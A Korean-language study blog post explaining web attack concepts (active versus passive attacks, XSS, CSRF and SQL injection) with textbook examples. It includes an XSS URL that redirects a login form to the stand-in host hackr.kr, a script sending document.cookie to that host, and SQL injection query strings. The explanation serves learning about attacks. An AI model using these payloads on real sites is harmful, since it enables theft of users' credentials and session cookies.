[네트워크] 웹 공격 기술 XSS, CSRF, SQL Injection
웹 공격 기술에 대한 개념이 항상 정리되지 않고 추상적인 느낌이다!
이번 글을 통해 개념을 확실하게 정리하고자 한다.
HTTP 자체는 보안 상의 문제가 일어날 정도로 복잡한 프로토콜은 아니기 때문에 프로토콜 자신이 공격대상이 되는 경우는 거의 없다.
공격 대상은 HTTP를 사용하는 서버와 클라이언트 그리고 서버상에 동작하는 웹 애플리케이션이다.
웹 애플리 케이션에 대한 공격 패턴은 두 가지가 있다.
- 능동적 공격
- 수동적 공격
능동적 공격
능동적 공격은 공격자가 직접 웹 애플리케이션에 액세스해서 공격 코드를 보내는 타입의 공격이다.
이 타입의 공격은 서버 상의 리소스에 대해 직접 실행되기 때문에 공격자가 리소스에 액세스할 필요가 있다.
대표적으로 SQL 인젝션과 OS 커맨드 인젝션이 있다.
수동적 공격
수동적 공격은 함정을 이용해서 유저에게 공격 코드를 실행시키는 공격이다.
수동적 공격은 직접 웹 애플리케이션에 액세스 해서 공격하지 않는다.
일반적으로 다음과 같은 순서로 진행된다.
- 공격자가 설치한 함정에 유저를 유도함. 함정에는 공격 코드를 심어둔 HTTP Request를 발생시키기 위한 장치가 있다.
- 사용자가 함정에 걸리면 유저의 브라우저나 메일 클라이언트에서 함정을 열게됨
- 함정에 걸리면 유저의 브라우저가 장착된 공격 코드를 포함한 HTTP Request를 공격 대상인 웹 애플리케이션에 송신하고 공격 코드를 실행
- 공격 코드를 실행하면 취약성이 있는 웹 애플리케이션을 경유한 결과로서 유저가 가지고 있는 쿠키 등의 기밀 정보를 도둑맞거나 로그인 중인 유저의 권한이 악용되는 등의 피해가 발생.
대표적으로 XSS, CSRF가 있다.
XSS(Cross-Site Scripting, 크로스 사이트 스크립팅)
취약성이 있는 웹사이트를 방문한 사용자의 브라우저에서 부정한 HTML 태그나 JavaScript 등을 동작시키는 공격.
동적으로 HTML을 생성하는 부분에서 취약성이 발생할 수 있다.
공격자가 작성한 스크립트가 함정이 되고 유저의 브라우저 상에서 움직이는 수동적 공격이다.
- 가짜 입력 폼 등에 의해 유저의 개인 정보를 도둑 맞는다.
- 스크립트에 의해 유저의 쿠키 값이 도둑맞거나 피해자가 의도하지 않는 리퀘스트가 송신된다.
- 가짜 문장이나 이미지 등이 표시된다.
공격자는 아래와 같은 함정 URL을 작성해서 사용자에게 교묘한 속임수 이메일이나 게시글같은 함정을 준비해 유저가 URL을 클릭하도록 유도한다.
공격자의 URL은 다음과 같이 작성될 수 있다.
http://example.kr/login?ID="><script>var+f=document.getElementById("login");
+f.action="http://hackr.kr/pwget";+f.method="get";</script><span+s="
URL을 열어도 감쪽같은 웹 페이지일 수 있습니다. 만약 로그인 폼이 있다면 이에 속은 사용자가 ID와 PW를 입력할 것이다.
그러면 공격자의 사이트인 hackr.kr로 송신되어 사용자의 정보가 탈취된다.
이때 사용자는 탈취된 사실을 눈치채지 못할 가능성이 높다.
유저의 쿠키를 빼앗는 공격
폼에 함정을 설치하는것 외에도 스크립트를 사용해 유저의 쿠키를 빼앗을 수 있다.
var content = escape(document.cookie);
document.write("<img src=http://hackr.kr/?");
document.write(content);
document.write(">");
크로스 사이트 스크립팅의 취약성이 있는 웹 애플리케이션에서 JavaScript가 실행되면 해당 웹 애플리케이션의 도메인의 쿠키 정보에 액세스된다. 그리고 이 정보가 웹 사이트 http://hackr.kr/로 보내지고 액세스 로그에 기록된다.
CSRF (Cross-Site Request Forgeries, 크로스 사이트 리퀘스트 포저리)
인증된 유저가 의도하지 않는 개인 정보나 설정 정보 등을 공격자가 설치해 둔 함정에 의해 어떤 상태를 갱신하는 처리를 강제로 실행시키는 공격으로 수동적 공격이다.
다음과 같은 피해가 생긴다.
- 인증된 유저의 권한으로 설정 정보 등을 갱신
- 인증된 유저의 권한으로 상품을 구입
- 인증된 유저의 권한으로 게시판에 글 작성
피해 상황
- 유저 A가 웹 사이트에 인증된 상태라고 가정한다. 유저 A 브라우저의 쿠키에는 인증된 상태의 SessionID를 가지고 있다.
- 공격자는 함정을 준비한다. 유저가 이 함정을 실행하면 유저 A의 권한으로 게시글을 등록한다던지 하는 행위를 할 수 있다.
만약 유저 A가 인증된 상태가 아니라면 함정을 실행해도 아무런 일이 발생하지 않는다.
SQL Injection(SQL 인젝션)
SQL 인젝션이란 웹 애플리케이션을 이용하고 있는 데이터베이스에 SQL을 부정하게 실행하는 공격이다.
커다란 위협을 일으킬 수 있는 취약성으로 개인 정보나 기밀 정보 누설로 직결되기도 한다.
SQL 인젝션의 공격 사례
쇼핑 사이트의 검색 기능을 예로 SQL 인젝션을 설명한다. 이 기능은 검색 키워드로 지정된 저자의 서적 목록이 표시된다.
정상 처리의 경우는 다음과 같다.
URL : http://example.com/search?q="찰리"
SQL : SELECT * FROM books WHERE author='찰리' and flag = 1;
이 SQL 문은 데이터베이스 books 테이블에서 author='찰리' 이면서 flag=1 인 판매 가능한 책의 데이터를 표시해 라고 지시하고 있다.
SQL 인젝션의 경우 다음과 같다.
URL : http://example.com/search?q=찰리'--
SQL : SELECT * FROM books WHERE author='찰리'--' and flag = 1;
SQL 에서 --은 주석 표시이다. 즉, -- 이후의 문장('and flag = 1;)은 주석처리 된다.
여기선 단순하게 주석처리로 끝이 났지만 실제로는 쿼리를 더해서 다른 데이터를 가져올 수 도 있다.
URL : http://example.com/search?q=찰리'orID=1--
SQL : SELECT * FROM books WHERE author='찰리' or ID = 1 --' and flag = 1;
or ID = 1 이라는 조건문이 추가됐다. 이제 ID = 1 이라는 데이터가 있다면 해당 데이터도 열람할 수 있다.